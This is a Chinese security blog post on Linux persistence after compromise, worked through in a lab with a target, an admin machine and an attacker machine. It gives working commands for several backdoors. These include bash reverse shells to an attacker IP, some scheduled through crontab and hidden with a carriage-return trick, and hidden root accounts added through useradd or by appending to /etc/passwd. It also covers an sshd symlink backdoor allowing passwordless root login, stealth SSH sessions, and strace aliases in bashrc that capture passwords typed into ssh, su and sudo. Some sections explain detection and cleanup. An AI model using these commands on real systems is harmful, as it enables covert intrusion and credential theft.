前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Linux权限维持入门学习

Linux权限维持入门学习

作者头像
乌鸦安全
发布2023-08-17 08:39:37
4470
发布2023-08-17 08:39:37
举报
文章被收录于专栏:乌鸦安全

✎ 阅读须知

乌鸦安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。

乌鸦安全拥有对此文章的修改、删除和解释权限,如转载或传播此文章,需保证文章的完整性,未经允许,禁止转载!

本文所提供的工具仅用于学习,禁止用于其他,请在24小时内删除工具文件!!!

更新时间:2022年12月06日11:43:20

目的

本文主要是学习linux下的权限维持的方法,本文因为写的时间很久了,文章有点乱。

本文仅对linux的权限维持做了非常微小的学习,文中会从攻和防的角度,在借助学习其它文章的前提下进行学习。

文章所有的操作都是网上已有的技术,仅供参考,如有错误,欢迎指正。

1. 环境准备

image.png

靶机ipcentos 10.50.0.16 运维管理机:centos 10.50.0.152 攻击机ipmac 10.30.3.49

首先使用运维机器对靶机进行管理:

image.png

此时w命令显示当前存在一个用户,显示sship为运维机器ip,一切正常,将用户切换到root,再看下连接信息:

image.png

此时运维机器和靶机进行正常的通讯。此时端口扫描看下:

image.png

靶机开放了22端口。

1.1 反弹shell

再使用bash命令反弹靶机到攻击机上,在攻击机上进行操作,然后在测试机器上进行检查,是否存在相应的痕迹:

代码语言:javascript
复制
bash -c 'exec bash -i &>/dev/tcp/10.30.3.49/888 <&1'

image.png

弹了shell之后,再将原来弹会话的机器的ssh断开,防止其干扰: 此时检测该机器是否有通讯:

代码语言:javascript
复制
netstat -ano

image.png

这边可以清晰的看到存在一个异常的ip通讯。

2. 权限维持方法

2.1 添加用户

这个操作先在反弹bash的攻击机上进行:先看下当前已有的历史命令,这是反弹回来的操作命令:

也可以使用这个指令看下:

image.png

再看下当前的passwdshadow文件:

image.png

2.1.1 方法1

一句话添加root用户:

代码语言:javascript
复制
# 创建一个用户名为guest,密码为123456的root用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest -o -u 0 -g root -G root -s /bin/bash -d /home/guest

添加之后,从里面可看到当前多了一个guest的用户:

image.png

在这里看到shadow里面多了一个密码:

image.png

在这里一看就是被入侵了,此时运维可以直接删除。

2.1.2 方法2

代码语言:javascript
复制
ssh新建用户:
echo "system:adk6oNRwypFwA:0:0:eval_to_root:/root:/bin/bash" >> /etc/passwd
账号:system 密码:admin123

更多生成密码的方法:

代码语言:javascript
复制
https://blog.csdn.net/qq_44159028/article/details/124242529

image.png

image.png

image.png

查询发现,当前在passwd中多了一个用户,但是在shadow里面是检测不到的,此时也会被发现:

image.png

此时在管理端是可以发现,新建了一个用户的文件夹,所以两种方法创建的用户都是非常容易被发现的:

image.png

2.2 建立sshd 软连接(容易被发现)

原理性的东西都来自:

代码语言:javascript
复制
https://zhuanlan.kanxue.com/article-16246.htm

2.2.1 利用条件

Linux软连接ssh后门需要ssh配置允许PAM认证才能使用。ssh配置中开启了PAM进行身份验证,查看是否使用PAM进行身份验证:

代码语言:javascript
复制
cat /etc/ssh/sshd_config | grep UsePAM

image.png

2.2.2 利用原理

代码语言:javascript
复制
pam_rootok.so 模块

pam_rootok.so 主要作用是使得uid为0的用户,即root用户可以直接通过认证而不需要输入密码。

cat etc/pam.d/su

image.png

代码语言:javascript
复制
1.PAM认证机制,若sshd服务中开启了PAM认证机制(默认开启),当程序执行时,PAM模块则会搜寻PAM相关设定文件,设定文件一般是在/etc/pam.d/。若关闭则会验证密码,无法建立软链接后门。


2.当我们通过特定的端口连接ssh后,应用在启动过程中就会去找到配置文件,如:我们的软链接文件为/tmp/su,那么应用就会找/etc/pam.d/su作为配置文件,那么则实现了无密登录。

2.2.3 使用方法

此时可以在靶机上建立一个软链接:

代码语言:javascript
复制
ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=6666;

软连接的路径不是绝对的,但是名称是绝对的,使用命令:

代码语言:javascript
复制
find /etc/pam.d|xargs grep "pam_rootok"

image.png

在反弹shell的机器上输入以上命令:

代码语言:javascript
复制
ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=6666;

image.png

image.png

此时使用端口扫描工具看下:

image.png

6666端口是开启的,那如何连接呢?

代码语言:javascript
复制
ssh root@10.50.0.16 -p 6666

此时只需要输入任意用户名就可以直接连接,但是通过w选项可以看到当前是有一个root用户登录的:

image.png

2.2.4 应急方法

参考:

代码语言:javascript
复制
https://blog.csdn.net/weixin_40412037/article/details/117447832
第一步:查看服务器开放的端口号
代码语言:javascript
复制
netstat -anpt

image.png

当然,这个图里面问题很多,我们在这里只讨论软连接的情况。

发现开启有6666的异常端口,且名字为suroot@pts/,且su的PID 为17650

查看PID 17650所使用的程序为ssh

代码语言:javascript
复制
ll /proc/17650

image.png

第二步:确定软链接后门文件

查看所有的su文件,以及查找具体哪一个su是软链接后门

代码语言:javascript
复制
cd ~
cd ..
find . -name su

image.png

使用ll命令来确定哪一个是后门:

代码语言:javascript
复制
[root@linux-centos /]# ll ./etc/selinux/targeted/active/modules/100/su
总用量 20
-rw-r--r--. 1 root root 1837 9月  13 2017 cil
-rw-r--r--. 1 root root 9171 9月  13 2017 hll
-rw-r--r--. 1 root root    2 9月  13 2017 lang_ext
[root@linux-centos /]# ll ./tmp/su
lrwxrwxrwx. 1 root root 14 12月  6 16:44 ./tmp/su -> /usr/sbin/sshd
[root@linux-centos /]# ll ./usr/share/locale/su
总用量 0
drwxr-xr-x. 2 root root 6 11月  5 2016 LC_MESSAGES
[root@linux-centos /]# ll ./usr/share/bash-completion/completions/su
-rw-r--r--. 1 root root 864 8月   4 2017 ./usr/share/bash-completion/completions/su
[root@linux-centos /]#

image.png

最后发现./tmp/su文件是软连接的后门。

第三步:删除软链接后门

一定要记得kill的是两个进程:

代码语言:javascript
复制
rm -rf /tmp/su
kill -9 17650
kill -9 17638

image.png

image.png

此时连接退出:

image.png

此时再也无法连接:

image.png

注意事项

切记:不要用 rm -rf /tmp/su/,如果后面多一个斜杠,就会把文件删除!

一定要删除两个进程,如果只删除了正在登录的进程是无效的

2.3 隐身登录(有条件)

如果在已知用户密码的情况下,可以使用这种方法进行登录,如果是自己建立的账号登录的话,一样会被发现。

代码语言:javascript
复制
# 不被last\who\w等指令检测
ssh -T username@x.x.x.x /bin/bash -i

# 不记录ssh公钥在本地.ssh目录中
ssh -o UserKnownHostFile=/dev/null -T user@x.x.x.x /bin/bash -if

如果已知密码的情况下可以使用这个方法登录,比如使用攻击机去登录靶机:

代码语言:javascript
复制
ssh -T bolean@10.50.0.16 /bin/bash -i

image.png

但是使用端口检查的话,还是可以看到的:

代码语言:javascript
复制
netstat -anpt

image.png

2.4 crontab定时任务

基本上普通crontab一眼就能看出来,基本就是送死的:

代码语言:javascript
复制
 crontab -l

image.png

如果想进行计划任务的话,可以使用计划任务进行反弹。

2.4.1 bash命令进行反弹

代码语言:javascript
复制
/bin/bash -c 'exec bash -i &>/dev/tcp/10.30.3.49/888 <&1'

但是这个命令如果用到任务计划里面就是:

代码语言:javascript
复制
* * * * * /bin/bash -c 'exec bash -i &>/dev/tcp/10.30.3.49/8688 <&1'

将命令放入到任务计划里面去,然后很快就会回弹一个shell回来:

image.png

在这里使用crontab -l了的命令是能看到此时的任务计划的,此时已经收到了shell

image.png

2.4.2 文件反弹

先建立一个sh文件,并对该文件赋予可执行权限:

bash脚本:hello.sh,将文件放在/tmp 目录下面:

代码语言:javascript
复制
#!/bin/bash
bash -i >& /dev/tcp/10.30.3.49/12345  0>&1


#!/bin/bash
bash -i >& /dev/tcp/12x.xxx.xx3.xx3/12345  0>&1

image.png

至于留后门的方法可以使用下面的语句,参考:

代码语言:javascript
复制
https://cloud.tencent.com/developer/article/1683265
代码语言:javascript
复制
(crontab -l;printf "*/1 * * * * /tmp/hello.sh;\rno crontab for `whoami`%100c\n")|crontab -

在这里试下:(用了公网的机器)

image.png

不久之后,会话就弹回来了:

image.png

此时使用crontab -l是看不到当前有新的计划任务的:

image.png

但是crontab -e是可以看到的:

image.png

但是这个通讯依旧可以看到:

2.5 strace后门-偷其他ssh的密码

参考文档:

代码语言:javascript
复制
https://zhuanlan.zhihu.com/p/355743801

可以通过alias命令来执行特定的命令时静默运行其他程序,从而达到启动后门,记录键值等作用。

这里主要是记录该用户的键盘操作,并无法记录登录靶机的ssh密码信息。

2.5.1 记录ssh的操作。

通过命令替换动态跟踪系统调用和数据,可以用来记录用户sshsusudo的操作。

代码语言:javascript
复制
cp /etc/bashrc /etc/.bashrc.bak  # 将文件备份
vim /etc/bashrc # 编辑文件

alias ssh='strace -o /tmp/.ssh.log -e read,write,connect -s 2048 ssh' 
b
source ~/.bashrc

image.png

image.png

此时利用该账号再去登录其他账号的时候,发生报错:

image.png

此时发生报错,所以在使用该命令的时候一定要注意下是否有strace命令。

当前环境是centos,所以在这里需要自行安装strace

yum install strace

image.png

此时再利用该机器进行登录操作:

image.png

登录成功,再看下是否有log文件进行记录:

image.png

文件已经存在,但是其中的信息过多,需要进行过滤:

代码语言:javascript
复制
grep -A 9 'password' .ssh.log

image.png

将其中的信息进行拼接即为密码信息。

2.5.2 排查技巧

利用alias进行排查:

image.png

2.5.3 利用总结

如果需要记录sudo操作、ssh等操作,而且生成的日志可能会出现覆盖的情况,因此对于这种问题,我们对方法进行一个总结:

代码语言:javascript
复制
# 1. 文件备份:
cp /etc/bashrc /etc/.bashrc

# 2. 编辑bashrc文件
vim /etc/bashrc
# 3. 记录本机登录其他机器的ssh信息,在bashrc的末尾/其中,加上下面的句子,会将文件放到/usr/bin/目录下,文件结尾为log
alias ssh='strace -f -e trace=read,write -o /tmp/.ssh-`date '+%d%h%m%s'`.log -s 2048 ssh'

# 4. 记录sudo命令
alias sudo='strace -f -e trace=read,write -o /tmp/.sudo-`date '+%d%h%m%s'`.log -s 2048 sudo' 

# 5. 记录su命令
alias su='strace -f -e trace=read,write -o /tmp/.su-`date '+%d%h%m%s'`.log -s 2048 su'

# source下.bashrc文件
source /root/.bashrc

注意文件不要放在其他的高权限文件夹下,否则生成文件的时候会提示权限不足:

image.png

在这里先删除以前的记录,将以上记录插入:

image.png

代码语言:javascript
复制
alias ssh='strace -f -e trace=read,write -o /tmp/.ssh-`date '+%d%h%m%s'`.log -s 2048 ssh'
alias sudo='strace -f -e trace=read,write -o /tmp/.sudo-`date '+%d%h%m%s'`.log -s 2048 sudo' 
alias su='strace -f -e trace=read,write -o /tmp/.su-`date '+%d%h%m%s'`.log -s 2048 su'

image.png

image.png

然后再source一下:

image.png

在靶机上登录其他的机器,执行susudo命令试试:

image.png

此时去找下文件:

image.png

使用命令来看下文件,登录的ssh

代码语言:javascript
复制
grep -A 9 'password' .ssh-0712月121670384140.log

image.png

su的命令:

代码语言:javascript
复制
cat .su-0712月121670384157.log | grep write

image.png

在这里sudo命令有问题,好像不太好用。

2.4.4 利用总结

代码语言:javascript
复制
主要是偷在机器上管理员的一些操作,有时候能够偷到管理员密码信息
1. 查看是否strace命令,如果没有的话,安装:
centos:yum install strace -y
Ubuntu:apt install strace -y

2. 文件备份:
cp /etc/bashrc /etc/.bashrc

3. 编辑bashrc文件
vim /etc/bashrc 或者是vi /etc/bashrc
# 3. 记录本机登录其他机器的ssh信息,在bashrc的末尾/其中,加上下面的句子,会将文件放到/usr/bin/目录下,文件结尾为log
alias ssh='strace -f -e trace=read,write -o /tmp/.ssh-`date '+%d%h%m%s'`.log -s 2048 ssh'

# 4. 记录sudo命令(根据场景,一般如果是都只有root用户的话,这个命令不建议用,自己测试centos发生报错)
alias sudo='strace -f -e trace=read,write -o /tmp/.sudo-`date '+%d%h%m%s'`.log -s 2048 sudo' 

# 5. 记录su命令(根据场景,一般如果是都只有root用户的话,这个命令不建议用)
alias su='strace -f -e trace=read,write -o /tmp/.su-`date '+%d%h%m%s'`.log -s 2048 su'

2.6 窃取运维的密码

参考:https://zhuanlan.zhihu.com/p/146024506这个在实战中,成功过。

3.总结

本文仅对linux的权限维持做了非常微小的学习,文章所有的操作都是网上已有的技术,仅供参考,如有错误,欢迎指正。

4.参考资料

其中还有一部分参考的文章链接在文中。

代码语言:javascript
复制
https://www.v4ler1an.com/2020/12/backdoor/
https://zhuanlan.kanxue.com/article-16246.htm
https://cloud.tencent.com/developer/article/1683265
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2023-05-09,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 乌鸦安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 目的
  • 1. 环境准备
    • 1.1 反弹shell
    • 2. 权限维持方法
      • 2.1 添加用户
        • 2.1.1 方法1
          • 2.1.2 方法2
            • 2.2 建立sshd 软连接(容易被发现)
              • 2.2.1 利用条件
                • 2.2.2 利用原理
                  • 2.2.3 使用方法
                    • 2.2.4 应急方法
                      • 2.3 隐身登录(有条件)
                        • 2.4 crontab定时任务
                          • 2.4.1 bash命令进行反弹
                            • 2.4.2 文件反弹
                              • 2.5 strace后门-偷其他ssh的密码
                                • 2.5.1 记录ssh的操作。
                                  • 2.5.2 排查技巧
                                    • 2.5.3 利用总结
                                      • 2.4.4 利用总结
                                        • 2.6 窃取运维的密码
                                        • 3.总结
                                        • 4.参考资料
                                        相关产品与服务
                                        云服务器
                                        云服务器(Cloud Virtual Machine,CVM)提供安全可靠的弹性计算服务。 您可以实时扩展或缩减计算资源,适应变化的业务需求,并只需按实际使用的资源计费。使用 CVM 可以极大降低您的软硬件采购成本,简化 IT 运维工作。
                                        领券
                                        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档